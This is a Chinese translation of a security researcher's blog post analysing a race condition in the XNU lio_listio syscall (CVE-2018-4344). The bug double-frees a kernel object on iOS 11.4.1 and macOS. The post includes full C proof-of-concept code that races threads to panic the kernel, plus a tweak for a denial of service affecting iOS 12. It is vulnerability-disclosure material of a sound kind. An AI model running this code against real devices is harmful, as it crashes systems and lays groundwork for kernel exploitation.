前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >IOS/MacOS沙箱逃逸竞赛

IOS/MacOS沙箱逃逸竞赛

作者头像
安恒网络空间安全讲武堂
发布2019-09-29 14:21:30
1.5K0
发布2019-09-29 14:21:30
举报
文章被收录于专栏:安恒网络空间安全讲武堂

前言

lio_listio和PoC中公开的iOS 11.4.1内核漏洞引起了恐慌。

iOS 12在几周前发布了,并带来了许多安全方面的修复和改进。特别是,这个新版本碰巧修补了我们在Synacktiv发现的一个很厉害的内核漏洞。

目前尚不清楚这个漏洞是由Apple团队内部发现的,还是由英国国家网络安全中心(NCSC)提交的CVE-2018-4344。既然,似乎还没有人提交它,我们就在这篇博客文章中对它进行详细地分析一下!

此漏洞位于lio_listio系统调用中,在竞争条件将会被触发。它可以有效地被用于释放两次内核对象,从而导致潜在的UAF。

这个漏洞本身已经在大约9年前的xnu-1228和xnu-1456之间被提出,应该可以在大多数iOS多核设备上使用,直到iOS 11.4.1(包含在内)版本和MacOS的10.14版本的发布。在内部,我们将此漏洞命名为LightSpeed,因为我们在十分棘手的竞争条件下获胜了(并且作为添加一些关于星球大战模因的借口),但不要担心,我们不会将其作为一种标记。

因为 listio_lio系统调用可以从任何沙箱访问,并且由于漏洞提供了一些有趣的基本数据类型,LightSpeed可能会用于越狱iOS 11.4.1。但是,这篇博文将仅仅解释漏洞并提供触发内核崩溃的代码。

AIO系统调用介绍

正如在POSIX.1b中所定义的,XNU内核为用户空间提供不同的系统调用以执行异步的I/O(aio)。该标准规定各种功能,从而实现诸如 aio_read()aio_write()lio_listio()aio_error()aio_return(),...由于至少XNU-517以及大多数结构的开头是在/bsd/sys/aio.h中,这些系统调用在 bsd/kern/kern_aio.c可以被实现。

作为对AIO函数家族的介绍, aio_read()aio_write()分别是 read()write()系统调用的异步版本。这两个函数都期望 structaiocb*描述要执行的 I/O请求:

代码语言:javascript
复制
struct aiocb {
    int         aio_fildes;     /* File descriptor */
    off_t       aio_offset;     /* File offset */
    volatile void *aio_buf;     /* Location of buffer */
    size_t      aio_nbytes;     /* Length of transfer */
    int        aio_reqprio;     /* Request priority offset */
    struct sigevent aio_sigevent;       /* Signal number and value */
    int     aio_lio_opcode;     /* Operation to be performed */
};

为了执行 I/O请求,XNU首先通过该函数 aio_create_queue_entry(),将用户结构转换为 aio_workq_entry。然后内核通过 aio_enqueue_work()将创建的对象排入系统的aio队列中。 以下是两种功能的原型:

代码语言:javascript
复制
static  aio_workq_entry  *
aio_create_queue_entry (proc_t  procp, user_addr_t  aiocbp,
                           void  * group_tag, int  kindOfIO);

static  void
aio_enqueue_work ( proc_t  procp, aio_workq_entry  * entryp, int  proc_locked);

加入队列之后,预定的工作准备好由 aio workers提取和处理, aio worker是执行函数 aio_work_thread()的内核线程。 aio_read()aio_write()系统调用可以立即返回,并且稍后通过 aio_return(), aio_error()可以请求aio的状态。

lio_listio

介绍完了之后,我们来谈谈 lio_listio()。这个系统调用类似于 aio_read()aio_write(),它被设计用于在一个调用中调度AIO的整个列表。所以它需要aiocb的一个数组以及其他一些参数。

代码语言:javascript
复制
int lio_listio(int mode, struct aiocb *restrict const list[restrict],
                         int nent, struct sigevent *restrict sig);

该mode参数指定了系统调用的行为,并且必须以下其中的一个:

  • LIO_NOWAIT:aio被调度,然后系统调用立即返回;
  • LIO_WAIT:aio被调度,然后syscall等待所有工作的完成(异步地)。

在LIO_WAIT情况下,内核必须跟踪整批aio。实际上,当最后一个I/O被处理时,aio worker线程想要唤醒仍然在系统调用中等待用户的线程。

所以内核分配了一个 structaio_lio_context来处理它的 I/O(这在两种模式下完成):

代码语言:javascript
复制
struct  aio_lio_context
{
    int      io_waiter;
    int      io_issued;
    int      io_completed;
};
typedef  struct  aio_lio_context  aio_lio_context;

以下是lio_listio执行的相关部分(大部分已被删除):

代码语言:javascript
复制
int lio_listio(proc_t p, struct lio_listio_args *uap, int *retval )
{
    /* lio_context allocation */
    MALLOC(lio_context, aio_lio_context*, sizeof(aio_lio_context), M_TEMP, M_WAITOK);

    /* userland extraction */
    aiocbpp = aio_copy_in_list(p, uap->aiocblist, uap->nent);

    lio_context->io_issued = uap->nent;

    for ( i = 0; i < uap->nent; i++ ) {
        user_addr_t my_aiocbp;
        aio_workq_entry *entryp;

        *(entryp_listp + i) = NULL;
        my_aiocbp = *(aiocbpp + i);

        /* creation of the aio_workq_entry */
        /* lio_create_entry is a wrapper for aio_create_queue_entry */
        result = lio_create_entry(p, my_aiocbp, lio_context, (entryp_listp+i));
        if ( result != 0 && call_result == -1 )
            call_result = result;   

        entryp = *(entryp_listp + i);

        aio_proc_lock_spin(p);
        // [...]
        /* enqueing of the aio_workq_*/
        lck_mtx_convert_spin(aio_proc_mutex(p));
        aio_enqueue_work(p, entryp, 1);
        aio_proc_unlock(p);
    }

    // [...]
}

在这里,我们可以看到, lio_context在每个 aio_workq_entry中都被标记上了(作为 aio_create_queue_entry()中的group_tag参数)。稍后,aio worker线程将检索此context,更新 lio_context->io_completed并在需要时唤醒用户线程。

漏洞:LightSpeed!

我们在上一节中解释了aioliocontext的用法,但仍然存在一个问题:谁负责释放context?这取决于mode操作。

当liolistio在LIONOWAIT模式时被调用,系统调用中的线程不会等待所有I/O被执行完成。所以释放liocontext是aio worker的工作。这是在最后一个aio被处理后,在doaio_completion例程中完成的:

代码语言:javascript
复制
static void do_aio_completion( aio_workq_entry *entryp )
{
    // [...]
    lio_context = (aio_lio_context *)entryp->group_tag;

    if (lio_context != NULL) {

        aio_proc_lock_spin(entryp->procp);
        lio_context->io_completed++;

        if (lio_context->io_issued == lio_context->io_completed) {
            lastLioCompleted = TRUE;
        }

        waiter = lio_context->io_waiter;

        /* explicit wakeup of lio_listio() waiting in LIO_WAIT */
        if ((entryp->flags & AIO_LIO_NOTIFY) && (lastLioCompleted) && (waiter != 0)) {
            /* wake up the waiter */
            wakeup(lio_context);
        }

        aio_proc_unlock(entryp->procp);
    }

    // [...]
    if (lastLioCompleted && (waiter == 0))
        free_lio_context (lio_context);


} /* do_aio_completion */

另一方面,当调用者在LIOWAIT模式下等待时,liocontext将在lio_listio被释放 。以下是系统调用结束时的相关部分:

代码语言:javascript
复制
int lio_listio(proc_t p, struct lio_listio_args *uap, int *retval )
{
    // [...]

    switch(uap->mode) {
    case LIO_WAIT:
        aio_proc_lock_spin(p);
        while (lio_context->io_completed < lio_context->io_issued) {
            result = msleep(lio_context, aio_proc_mutex(p), /*...*/);

            // [...]
        }

        /* If all IOs have finished must free it */
        if (lio_context->io_completed == lio_context->io_issued) {
            free_context = TRUE;
        }

        aio_proc_unlock(p);
        break;

    case LIO_NOWAIT:
        break;
    }

    // [...]

ExitRoutine:        
    if ( entryp_listp != NULL )
        FREE( entryp_listp, M_TEMP );
    if ( aiocbpp != NULL )
        FREE( aiocbpp, M_TEMP );
    if ((lio_context != NULL) &&
        ((lio_context->io_issued == 0) || (free_context == TRUE))) {
        free_lio_context(lio_context);
    }

    // [...]

    return( call_result );

} /* lio_listio */

前面的代码有一个小小的漏洞,可以在LIONOWAIT模式下被触发。最后一部分的test (liocontext->ioissued == 0)是在没有I/O被调度时,一个释放context的错误处理案例。例如,当用户向I/O发出请求,但它们都有LIONOP作为aiolioopcode(而不是LIOREAD或LIOWRITE)时,这就有可能发生。

但是,在执行时,先前的检查是错误的,并且由于其他内核线程可能已经篡改了,因此lio_context无法得到保证。

重点来了!

如果我们有超快的aio worker,甚至可以在系统调用结束之前执行我们所有的I/O,liocontext可能已经被释放并且已经被再次使用了。实际上,一旦aio被安排上,worker只需要调用者的pmlock程序开始工作,并且lio_listio会在多个时间释放它。

因此,如果liocontext被释放并且再次使用,那么liocontext->ioissued可能为零。在这种情况下,liolistio再次以调用freeliocontext()结束,并且最终释放另一个内核分配。

数据库crash

总而言之,我们需要按照以下顺序才能触发漏洞:

1.调用liolistio()来分配aioliocontext以及调度一些aio,然后在系统调用结束之前进行context切换; 2.aio worker线程执行所有调度的I/O,并释放aioliocontext; 3.kalloc.16池中的分配(aioliocontext的大小)再次使用与aioliocontext相同的分配; 4.在分配的第二个双字值中写入零(来进行liocontext->ioissued == 0); 5.context切换以继续推迟liolistio调用并引起分配释放。

步骤3和4是强制性的。实际上,由于alloc (kalloc16)的大小,空闲chunk最终总是会中毒(in zfree()),所以如果不重用分配,则在步骤5中liocontext->ioissued不能为零。在步骤5之后,如果未保持分配,并且内核尝试释放它,则系统将发生混乱。

以下代码展示了这种混乱(github link)(https://github.com/synacktiv/lightspeed):

代码语言:javascript
复制
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <aio.h>
#include <sys/errno.h>
#include <pthread.h>
#include <poll.h>

/* might have to play with those a bit */
#if MACOS_BUILD
#define NB_LIO_LISTIO 1
#define NB_RACER 5
#else
#define NB_LIO_LISTIO 1
#define NB_RACER 30
#endif

#define NENT 1

void *anakin(void *a)
{
    printf("Now THIS is podracing!\n");

    uint64_t err;

    int mode = LIO_NOWAIT;
    int nent = NENT;
    char buf[NENT];
    void *sigp = NULL;

    struct aiocb** aio_list = NULL;
    struct aiocb*  aios = NULL;

    char path[1024] = {0};
#if MACOS_BUILD
    snprintf(path, sizeof(path), "/tmp/lightspeed");
#else
    snprintf(path, sizeof(path), "%slightspeed", getenv("TMPDIR"));
#endif

    int fd = open(path, O_RDWR|O_CREAT, S_IRWXU|S_IRWXG|S_IRWXO);
    if (fd < 0)
    {   
        perror("open");
        goto exit;
    }

    /* prepare real aio */    
    aio_list = malloc(nent * sizeof(*aio_list));
    if (aio_list == NULL)
    {
        perror("malloc");
        goto exit;
    }

    aios = malloc(nent * sizeof(*aios));
    if (aios == NULL)
    {
        perror("malloc");
        goto exit;
    }

    memset(aios, 0, nent * sizeof(*aios));
    for(uint32_t i = 0; i < nent; i++)
    {
        struct aiocb* aio = &aios[i];

        aio->aio_fildes = fd;
        aio->aio_offset = 0;
        aio->aio_buf = &buf[i];
        aio->aio_nbytes = 1;
        aio->aio_lio_opcode = LIO_READ; // change that to LIO_NOP for a DoS :D
        aio->aio_sigevent.sigev_notify = SIGEV_NONE;

        aio_list[i] = aio;
    }

    while(1)
    {
        err = lio_listio(mode, aio_list, nent, sigp);

        for(uint32_t i = 0; i < nent; i++)
        {
            /* check the return err of the aio to fully consume it */
            while(aio_error(aio_list[i]) == EINPROGRESS) {
                usleep(100);
            }
            err = aio_return(aio_list[i]);
        }
    }

exit:
    if(fd >= 0)
        close(fd);

    if(aio_list != NULL)
        free(aio_list);

    if(aios != NULL)
        free(aios);

    return NULL;
}

void *sebulba()
{
    printf("You're Bantha poodoo!\n");
    while(1)
    {
        /* not mandatory but used to make the race more likely */
        /* this poll() will force a kalloc16 of a struct poll_continue_args */
        /* with its second dword as 0 (to collide with lio_context->io_issued == 0) */
        /* this technique is quite slow (1ms waiting time) and better ways to do so exists */
        int n = poll(NULL, 0, 1);
        if(n != 0)
        {
            /* when the race plays perfectly we might detect it before the crash */
            /* most of the time though, we will just panic without going here */
            printf("poll: %x - kernel crash incomming!\n",n);
        }
    }

    return 0;
}

void crash_kernel()
{
    pthread_t *lio_listio_threads = malloc(NB_LIO_LISTIO * sizeof(*lio_listio_threads));
    if (lio_listio_threads == NULL)
    {
        perror("malloc");
        goto exit;
    }

    pthread_t *racers_threads = malloc(NB_RACER  * sizeof(*racers_threads));
    if (racers_threads == NULL)
    {
        perror("malloc");
        goto exit;
    }

    memset(racers_threads, 0, NB_RACER * sizeof(*racers_threads));
    memset(lio_listio_threads, 0, NB_LIO_LISTIO * sizeof(*lio_listio_threads));

    for(uint32_t i = 0; i < NB_RACER; i++)
    {
        pthread_create(&racers_threads[i], NULL, sebulba, NULL);
    }
    for(uint32_t i = 0; i < NB_LIO_LISTIO; i++)
    {   
        pthread_create(&lio_listio_threads[i], NULL, anakin, NULL);
    }

    for(uint32_t i = 0; i < NB_RACER; i++)
    {
        pthread_join(racers_threads[i], NULL);
    }
    for(uint32_t i = 0; i < NB_LIO_LISTIO; i++)
    {
        pthread_join(lio_listio_threads[i], NULL);
    }

exit:
    return;
}

#if MACOS_BUILD
int main(int argc, char* argv[])
{
    crash_kernel();

    return 0;
}
#endif

修复和结论

虽然最新的XNU源(4570.71.2)仍然存在该漏洞,但该漏洞在iOS 12版本中得到了修复(至少从beta 4开始)。

以下是系统调用结束时Hex-Rays Decompiler的输出:

此代码可能是以下编译的结果:

代码语言:javascript
复制
if  ((free_context  ==  TRUE) &&  (lio_context  !=  NULL)) {
    free_lio_context(lio_context);
}

一方面,该补丁修复了liocontext上的潜在的UAF。但另一方面,修复之前处理过的错误情况现在被忽略了...因此,可以使liolistio()分配一个永远不会被内核释放的aioliocontext。这给了我们一个错误的DoS,它会使最近的内核停止相应(包括iOS 12)。

要测试它,只需将PoC上的LIOREAD更改为LIONOP,并将NB_RACER设置为0。

最后,我们很高兴在此博客文章中公开了此漏洞,我们希望您喜欢。此漏洞在iOS 11.4.1上仍然可触发,因此可以尝试从中构建越狱(虽然用其他已披露的漏洞可能会更容易)。

对于其他的,在未来我们将看到Apple是否会用patch :D修复他们引入的小型DoS。

非常感谢我的同事们帮助完成这篇博文章。

原文链接:https://www.synacktiv.com/posts/exploit/lightspeed-a-race-for-an-iosmacos-sandbox-escape.html?tdsourcetag=spcqqaiomsg

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-03-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • AIO系统调用介绍
  • lio_listio
  • 漏洞:LightSpeed!
  • 数据库crash
  • 修复和结论
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档